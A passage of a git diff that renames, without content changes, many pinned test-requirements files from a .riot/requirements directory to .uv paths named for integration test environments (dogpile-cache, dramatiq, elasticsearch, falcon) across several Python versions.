.uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-1-1-dogpile-cache-2.txt diff --git a/.riot/requirements/4fd1520.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-latest-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/4fd1520.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-latest-dogpile-cache-2.txt diff --git a/.riot/requirements/1778c11.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-0-9-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/1778c11.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-0-9-dogpile-cache-2.txt diff --git a/.riot/requirements/30228fe.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-1-0-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/30228fe.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-1-0-dogpile-cache-2.txt diff --git a/.riot/requirements/3cb274b.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-1-1-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/3cb274b.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-1-1-dogpile-cache-2.txt diff --git a/.riot/requirements/1833817.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-latest-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/1833817.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py314-dogpile-cache-latest-dogpile-cache-2.txt diff --git a/.riot/requirements/fae918b.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-0-6-0-dogpile-cache.txt similarity index 100% rename from .riot/requirements/fae918b.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-0-6-0-dogpile-cache.txt diff --git a/.riot/requirements/1373a22.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-0-9-dogpile-cache.txt similarity index 100% rename from .riot/requirements/1373a22.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-0-9-dogpile-cache.txt diff --git a/.riot/requirements/a55b017.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-1-0-dogpile-cache.txt similarity index 100% rename from .riot/requirements/a55b017.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-1-0-dogpile-cache.txt diff --git a/.riot/requirements/11d4944.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-latest-dogpile-cache.txt similarity index 100% rename from .riot/requirements/11d4944.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py39-dogpile-cache-latest-dogpile-cache.txt diff --git a/.riot/requirements/638973a.txt b/.uv/contrib-dramatiq--dramatiq-py310-dramatiq-latest.txt similarity index 100% rename from .riot/requirements/638973a.txt rename to .uv/contrib-dramatiq--dramatiq-py310-dramatiq-latest.txt diff --git a/.riot/requirements/14116fa.txt b/.uv/contrib-dramatiq--dramatiq-py311-dramatiq-latest.txt similarity index 100% rename from .riot/requirements/14116fa.txt rename to .uv/contrib-dramatiq--dramatiq-py311-dramatiq-latest.txt diff --git a/.riot/requirements/19508cd.txt b/.uv/contrib-dramatiq--dramatiq-py312-dramatiq-latest.txt similarity index 100% rename from .riot/requirements/19508cd.txt rename to .uv/contrib-dramatiq--dramatiq-py312-dramatiq-latest.txt diff --git a/.riot/requirements/1381214.txt b/.uv/contrib-dramatiq--dramatiq-py313-dramatiq-latest.txt similarity index 100% rename from .riot/requirements/1381214.txt rename to .uv/contrib-dramatiq--dramatiq-py313-dramatiq-latest.txt diff --git a/.riot/requirements/7fa153d.txt b/.uv/contrib-dramatiq--dramatiq-py39-dramatiq-1-10-0-pika-latest.txt similarity index 100% rename from .riot/requirements/7fa153d.txt rename to .uv/contrib-dramatiq--dramatiq-py39-dramatiq-1-10-0-pika-latest.txt diff --git a/.riot/requirements/16f33ce.txt b/.uv/contrib-dramatiq--dramatiq-py39-dramatiq-latest.txt similarity index 100% rename from .riot/requirements/16f33ce.txt rename to .uv/contrib-dramatiq--dramatiq-py39-dramatiq-latest.txt diff --git a/.riot/requirements/1a21d86.txt b/.uv/contrib-elasticsearch--elasticsearch-async-py310-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt similarity index 100% rename from .riot/requirements/1a21d86.txt rename to .uv/contrib-elasticsearch--elasticsearch-async-py310-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt diff --git a/.riot/requirements/14b9202.txt b/.uv/contrib-elasticsearch--elasticsearch-async-py311-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt similarity index 100% rename from .riot/requirements/14b9202.txt rename to .uv/contrib-elasticsearch--elasticsearch-async-py311-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt diff --git a/.riot/requirements/65aafe7.txt b/.uv/contrib-elasticsearch--elasticsearch-async-py312-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt similarity index 100% rename from .riot/requirements/65aafe7.txt rename to .uv/contrib-elasticsearch--elasticsearch-async-py312-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt diff --git a/.riot/requirements/3185459.txt b/.uv/contrib-elasticsearch--elasticsearch-async-py313-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt similarity index 100% rename from .riot/requirements/3185459.txt rename to .uv/contrib-elasticsearch--elasticsearch-async-py313-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt diff --git a/.riot/requirements/115e19f.txt b/.uv/contrib-elasticsearch--elasticsearch-async-py314-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt similarity index 100% rename from .riot/requirements/115e19f.txt rename to .uv/contrib-elasticsearch--elasticsearch-async-py314-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt diff --git a/.riot/requirements/1f280ce.txt b/.uv/contrib-elasticsearch--elasticsearch-async-py39-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt similarity index 100% rename from .riot/requirements/1f280ce.txt rename to .uv/contrib-elasticsearch--elasticsearch-async-py39-elasticsearch-async-latest-elasticsearch7-async-latest-opensearc.txt diff --git a/.riot/requirements/58d7730.txt b/.uv/contrib-elasticsearch--elasticsearch-multi-py310-elasticsearch-latest-elasticsearch7-latest.txt similarity index 100% rename from .riot/requirements/58d7730.txt rename to .uv/contrib-elasticsearch--elasticsearch-multi-py310-elasticsearch-latest-elasticsearch7-latest.txt diff --git a/.riot/requirements/17f2a52.txt b/.uv/contrib-elasticsearch--elasticsearch-multi-py311-elasticsearch-latest-elasticsearch7-latest.txt similarity index 100% rename from .riot/requirements/17f2a52.txt rename to .uv/contrib-elasticsearch--elasticsearch-multi-py311-elasticsearch-latest-elasticsearch7-latest.txt diff --git a/.riot/requirements/8f9b04b.txt b/.uv/contrib-elasticsearch--elasticsearch-multi-py312-elasticsearch-latest-elasticsearch7-latest.txt similarity index 100% rename from .riot/requirements/8f9b04b.txt rename to .uv/contrib-elasticsearch--elasticsearch-multi-py312-elasticsearch-latest-elasticsearch7-latest.txt diff --git a/.riot/requirements/11f9495.txt b/.uv/contrib-elasticsearch--elasticsearch-multi-py313-elasticsearch-latest-elasticsearch7-latest.txt similarity index 100% rename from .riot/requirements/11f9495.txt rename to .uv/contrib-elasticsearch--elasticsearch-multi-py313-elasticsearch-latest-elasticsearch7-latest.txt diff --git a/.riot/requirements/f6b5a5d.txt b/.uv/contrib-elasticsearch--elasticsearch-multi-py314-elasticsearch-latest-elasticsearch7-latest.txt similarity index 100% rename from .riot/requirements/f6b5a5d.txt rename to .uv/contrib-elasticsearch--elasticsearch-multi-py314-elasticsearch-latest-elasticsearch7-latest.txt diff --git a/.riot/requirements/93b1e3b.txt b/.uv/contrib-elasticsearch--elasticsearch-multi-py39-elasticsearch-latest-elasticsearch7-latest.txt similarity index 100% rename from .riot/requirements/93b1e3b.txt rename to .uv/contrib-elasticsearch--elasticsearch-multi-py39-elasticsearch-latest-elasticsearch7-latest.txt diff --git a/.riot/requirements/e8dec3f.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-7-13-0-elasticsearch.txt similarity index 100% rename from .riot/requirements/e8dec3f.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-7-13-0-elasticsearch.txt diff --git a/.riot/requirements/11b941f.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-7-17-elasticsearch.txt similarity index 100% rename from .riot/requirements/11b941f.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-7-17-elasticsearch.txt diff --git a/.riot/requirements/489ffd5.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-8-0-1-elasticsearch.txt similarity index 100% rename from .riot/requirements/489ffd5.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-8-0-1-elasticsearch.txt diff --git a/.riot/requirements/df5c335.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-latest-elasticsearch.txt similarity index 100% rename from .riot/requirements/df5c335.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch-latest-elasticsearch.txt diff --git a/.riot/requirements/b26db48.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch1-1-10-0.txt similarity index 100% rename from .riot/requirements/b26db48.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch1-1-10-0.txt diff --git a/.riot/requirements/36a011d.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch2-2-5-0.txt similarity index 100% rename from .riot/requirements/36a011d.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch2-2-5-0.txt diff --git a/.riot/requirements/1d14180.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch5-5-5-0.txt similarity index 100% rename from .riot/requirements/1d14180.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch5-5-5-0.txt diff --git a/.riot/requirements/19099fb.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch6-6-8-0.txt similarity index 100% rename from .riot/requirements/19099fb.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch6-6-8-0.txt diff --git a/.riot/requirements/192e690.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch7-7-13-0-elasticsearch7.txt similarity index 100% rename from .riot/requirements/192e690.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch7-7-13-0-elasticsearch7.txt diff --git a/.riot/requirements/1c48d4b.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch7-latest-elasticsearch7.txt similarity index 100% rename from .riot/requirements/1c48d4b.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch7-latest-elasticsearch7.txt diff --git a/.riot/requirements/d59b088.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch8-8-0-1-elasticsearch8.txt similarity index 100% rename from .riot/requirements/d59b088.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch8-8-0-1-elasticsearch8.txt diff --git a/.riot/requirements/81e3c73.txt b/.uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch8-latest-elasticsearch8.txt similarity index 100% rename from .riot/requirements/81e3c73.txt rename to .uv/contrib-elasticsearch--elasticsearch-py310-elasticsearch8-latest-elasticsearch8.txt diff --git a/.riot/requirements/da15808.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-7-13-0-elasticsearch.txt similarity index 100% rename from .riot/requirements/da15808.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-7-13-0-elasticsearch.txt diff --git a/.riot/requirements/72aa2be.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-7-17-elasticsearch.txt similarity index 100% rename from .riot/requirements/72aa2be.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-7-17-elasticsearch.txt diff --git a/.riot/requirements/7a6a528.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-8-0-1-elasticsearch.txt similarity index 100% rename from .riot/requirements/7a6a528.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-8-0-1-elasticsearch.txt diff --git a/.riot/requirements/1431337.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-latest-elasticsearch.txt similarity index 100% rename from .riot/requirements/1431337.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch-latest-elasticsearch.txt diff --git a/.riot/requirements/16ec0c2.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch1-1-10-0.txt similarity index 100% rename from .riot/requirements/16ec0c2.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch1-1-10-0.txt diff --git a/.riot/requirements/6e85bcc.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch2-2-5-0.txt similarity index 100% rename from .riot/requirements/6e85bcc.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch2-2-5-0.txt diff --git a/.riot/requirements/1f512b5.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch5-5-5-0.txt similarity index 100% rename from .riot/requirements/1f512b5.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch5-5-5-0.txt diff --git a/.riot/requirements/f0a9034.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch6-6-8-0.txt similarity index 100% rename from .riot/requirements/f0a9034.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch6-6-8-0.txt diff --git a/.riot/requirements/1fff452.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch7-7-13-0-elasticsearch7.txt similarity index 100% rename from .riot/requirements/1fff452.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch7-7-13-0-elasticsearch7.txt diff --git a/.riot/requirements/c0bc2fa.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch7-latest-elasticsearch7.txt similarity index 100% rename from .riot/requirements/c0bc2fa.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch7-latest-elasticsearch7.txt diff --git a/.riot/requirements/19ed1c1.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch8-8-0-1-elasticsearch8.txt similarity index 100% rename from .riot/requirements/19ed1c1.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch8-8-0-1-elasticsearch8.txt diff --git a/.riot/requirements/c7c679a.txt b/.uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch8-latest-elasticsearch8.txt similarity index 100% rename from .riot/requirements/c7c679a.txt rename to .uv/contrib-elasticsearch--elasticsearch-py311-elasticsearch8-latest-elasticsearch8.txt diff --git a/.riot/requirements/1564dd5.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-7-13-0-elasticsearch.txt similarity index 100% rename from .riot/requirements/1564dd5.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-7-13-0-elasticsearch.txt diff --git a/.riot/requirements/1577306.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-7-17-elasticsearch.txt similarity index 100% rename from .riot/requirements/1577306.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-7-17-elasticsearch.txt diff --git a/.riot/requirements/4be94bf.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-8-0-1-elasticsearch.txt similarity index 100% rename from .riot/requirements/4be94bf.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-8-0-1-elasticsearch.txt diff --git a/.riot/requirements/1632a0e.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-latest-elasticsearch.txt similarity index 100% rename from .riot/requirements/1632a0e.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch-latest-elasticsearch.txt diff --git a/.riot/requirements/437caff.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch1-1-10-0.txt similarity index 100% rename from .riot/requirements/437caff.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch1-1-10-0.txt diff --git a/.riot/requirements/f3fdfae.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch2-2-5-0.txt similarity index 100% rename from .riot/requirements/f3fdfae.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch2-2-5-0.txt diff --git a/.riot/requirements/1cd2a90.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch5-5-5-0.txt similarity index 100% rename from .riot/requirements/1cd2a90.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch5-5-5-0.txt diff --git a/.riot/requirements/1f0ede7.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch6-6-8-0.txt similarity index 100% rename from .riot/requirements/1f0ede7.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch6-6-8-0.txt diff --git a/.riot/requirements/181895c.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch7-7-13-0-elasticsearch7.txt similarity index 100% rename from .riot/requirements/181895c.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch7-7-13-0-elasticsearch7.txt diff --git a/.riot/requirements/52d1484.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch7-latest-elasticsearch7.txt similarity index 100% rename from .riot/requirements/52d1484.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch7-latest-elasticsearch7.txt diff --git a/.riot/requirements/11c3907.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch8-8-0-1-elasticsearch8.txt similarity index 100% rename from .riot/requirements/11c3907.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch8-8-0-1-elasticsearch8.txt diff --git a/.riot/requirements/13b8341.txt b/.uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch8-latest-elasticsearch8.txt similarity index 100% rename from .riot/requirements/13b8341.txt rename to .uv/contrib-elasticsearch--elasticsearch-py312-elasticsearch8-latest-elasticsearch8.txt diff --git a/.riot/requirements/ee48b16.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-7-13-0-elasticsearch.txt similarity index 100% rename from .riot/requirements/ee48b16.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-7-13-0-elasticsearch.txt diff --git a/.riot/requirements/192c7c0.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-7-17-elasticsearch.txt similarity index 100% rename from .riot/requirements/192c7c0.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-7-17-elasticsearch.txt diff --git a/.riot/requirements/2538ed0.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-8-0-1-elasticsearch.txt similarity index 100% rename from .riot/requirements/2538ed0.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-8-0-1-elasticsearch.txt diff --git a/.riot/requirements/e2bf559.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-latest-elasticsearch.txt similarity index 100% rename from .riot/requirements/e2bf559.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch-latest-elasticsearch.txt diff --git a/.riot/requirements/bc7a1f4.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch1-1-10-0.txt similarity index 100% rename from .riot/requirements/bc7a1f4.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch1-1-10-0.txt diff --git a/.riot/requirements/db78045.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch2-2-5-0.txt similarity index 100% rename from .riot/requirements/db78045.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch2-2-5-0.txt diff --git a/.riot/requirements/136fddd.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch5-5-5-0.txt similarity index 100% rename from .riot/requirements/136fddd.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch5-5-5-0.txt diff --git a/.riot/requirements/152e97f.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch6-6-8-0.txt similarity index 100% rename from .riot/requirements/152e97f.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch6-6-8-0.txt diff --git a/.riot/requirements/7a40e08.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch7-7-13-0-elasticsearch7.txt similarity index 100% rename from .riot/requirements/7a40e08.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch7-7-13-0-elasticsearch7.txt diff --git a/.riot/requirements/d5098dd.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch7-latest-elasticsearch7.txt similarity index 100% rename from .riot/requirements/d5098dd.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch7-latest-elasticsearch7.txt diff --git a/.riot/requirements/3c3f295.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch8-8-0-1-elasticsearch8.txt similarity index 100% rename from .riot/requirements/3c3f295.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch8-8-0-1-elasticsearch8.txt diff --git a/.riot/requirements/3f1be84.txt b/.uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch8-latest-elasticsearch8.txt similarity index 100% rename from .riot/requirements/3f1be84.txt rename to .uv/contrib-elasticsearch--elasticsearch-py313-elasticsearch8-latest-elasticsearch8.txt diff --git a/.riot/requirements/fa9fe1c.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-7-13-0-elasticsearch.txt similarity index 100% rename from .riot/requirements/fa9fe1c.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-7-13-0-elasticsearch.txt diff --git a/.riot/requirements/62c4442.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-7-17-elasticsearch.txt similarity index 100% rename from .riot/requirements/62c4442.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-7-17-elasticsearch.txt diff --git a/.riot/requirements/1272ddf.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-8-0-1-elasticsearch.txt similarity index 100% rename from .riot/requirements/1272ddf.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-8-0-1-elasticsearch.txt diff --git a/.riot/requirements/bf99122.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-latest-elasticsearch.txt similarity index 100% rename from .riot/requirements/bf99122.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch-latest-elasticsearch.txt diff --git a/.riot/requirements/1d536c3.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch1-1-10-0.txt similarity index 100% rename from .riot/requirements/1d536c3.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch1-1-10-0.txt diff --git a/.riot/requirements/705b210.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch2-2-5-0.txt similarity index 100% rename from .riot/requirements/705b210.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch2-2-5-0.txt diff --git a/.riot/requirements/1bcb6c6.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch5-5-5-0.txt similarity index 100% rename from .riot/requirements/1bcb6c6.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch5-5-5-0.txt diff --git a/.riot/requirements/1b28f6b.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch6-6-8-0.txt similarity index 100% rename from .riot/requirements/1b28f6b.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch6-6-8-0.txt diff --git a/.riot/requirements/91d42a8.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch7-7-13-0-elasticsearch7.txt similarity index 100% rename from .riot/requirements/91d42a8.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch7-7-13-0-elasticsearch7.txt diff --git a/.riot/requirements/994f426.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch7-latest-elasticsearch7.txt similarity index 100% rename from .riot/requirements/994f426.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch7-latest-elasticsearch7.txt diff --git a/.riot/requirements/1f4f93f.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch8-8-0-1-elasticsearch8.txt similarity index 100% rename from .riot/requirements/1f4f93f.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch8-8-0-1-elasticsearch8.txt diff --git a/.riot/requirements/1fcefbc.txt b/.uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch8-latest-elasticsearch8.txt similarity index 100% rename from .riot/requirements/1fcefbc.txt rename to .uv/contrib-elasticsearch--elasticsearch-py314-elasticsearch8-latest-elasticsearch8.txt diff --git a/.riot/requirements/dd2bb3b.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-7-13-0-elasticsearch.txt similarity index 100% rename from .riot/requirements/dd2bb3b.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-7-13-0-elasticsearch.txt diff --git a/.riot/requirements/ec6fa8e.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-7-17-elasticsearch.txt similarity index 100% rename from .riot/requirements/ec6fa8e.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-7-17-elasticsearch.txt diff --git a/.riot/requirements/1315bb9.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-8-0-1-elasticsearch.txt similarity index 100% rename from .riot/requirements/1315bb9.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-8-0-1-elasticsearch.txt diff --git a/.riot/requirements/908f9c9.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-latest-elasticsearch.txt similarity index 100% rename from .riot/requirements/908f9c9.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch-latest-elasticsearch.txt diff --git a/.riot/requirements/1101787.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch1-1-10-0.txt similarity index 100% rename from .riot/requirements/1101787.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch1-1-10-0.txt diff --git a/.riot/requirements/1e8652f.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch2-2-5-0.txt similarity index 100% rename from .riot/requirements/1e8652f.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch2-2-5-0.txt diff --git a/.riot/requirements/28f1677.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch5-5-5-0.txt similarity index 100% rename from .riot/requirements/28f1677.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch5-5-5-0.txt diff --git a/.riot/requirements/16f97b5.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch6-6-8-0.txt similarity index 100% rename from .riot/requirements/16f97b5.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch6-6-8-0.txt diff --git a/.riot/requirements/1f6865a.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch7-7-13-0-elasticsearch7.txt similarity index 100% rename from .riot/requirements/1f6865a.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch7-7-13-0-elasticsearch7.txt diff --git a/.riot/requirements/1674af7.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch7-latest-elasticsearch7.txt similarity index 100% rename from .riot/requirements/1674af7.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch7-latest-elasticsearch7.txt diff --git a/.riot/requirements/689a3fb.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch8-8-0-1-elasticsearch8.txt similarity index 100% rename from .riot/requirements/689a3fb.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch8-8-0-1-elasticsearch8.txt diff --git a/.riot/requirements/138c1ad.txt b/.uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch8-latest-elasticsearch8.txt similarity index 100% rename from .riot/requirements/138c1ad.txt rename to .uv/contrib-elasticsearch--elasticsearch-py39-elasticsearch8-latest-elasticsearch8.txt diff --git a/.riot/requirements/8510e2e.txt b/.uv/contrib-falcon--falcon-py310-falcon-3-0-0-falcon.txt similarity index 100% rename from .riot/requirements/8510e2e.txt rename to .uv/contrib-falcon--falcon-py310-falcon-3-0-0-falcon.txt diff --git a/.riot/requirements/197c6fd.txt b/.uv/contrib-falcon--falcon-py310-falcon-3-0-falcon.txt similarity index 100% rename from .riot/requirements/197c6fd.txt rename to .uv/contrib-falcon--falcon-py310-falcon-3-0-falcon.txt diff --git a/.riot/requirements/2502b82.txt b/.uv/contrib-falcon--falcon-py310-falcon-latest-falcon.txt similarity index 100% rename from .riot/requirements/2502b82.txt rename to .uv/contrib-falcon--falcon-py310-falcon-latest-falcon.txt diff --git a/.riot/requirements/16054bb.txt b/.uv/contrib-falcon--falcon-py311-falcon-3-0-0-falcon.txt similarity index 100% rename from .riot/requirements/16054bb.txt rename to .uv/contrib-falcon--falcon-py311-falcon-3-0-0-falcon.txt diff --git a/.riot/requirements/cdfce2e.txt b/.uv/contrib-falcon--falcon-py311-falcon-3-0-falcon.txt similarity index 100% rename from .riot/requirements/cdfce2e.txt rename to .uv/contrib-falcon--falcon-py311-falcon-3-0-falcon.txt diff --git a/.riot/requirements/1f1e236.txt b/.uv/contrib-falcon--falcon-py311-falcon-latest-falcon.txt similarity index 100% rename from 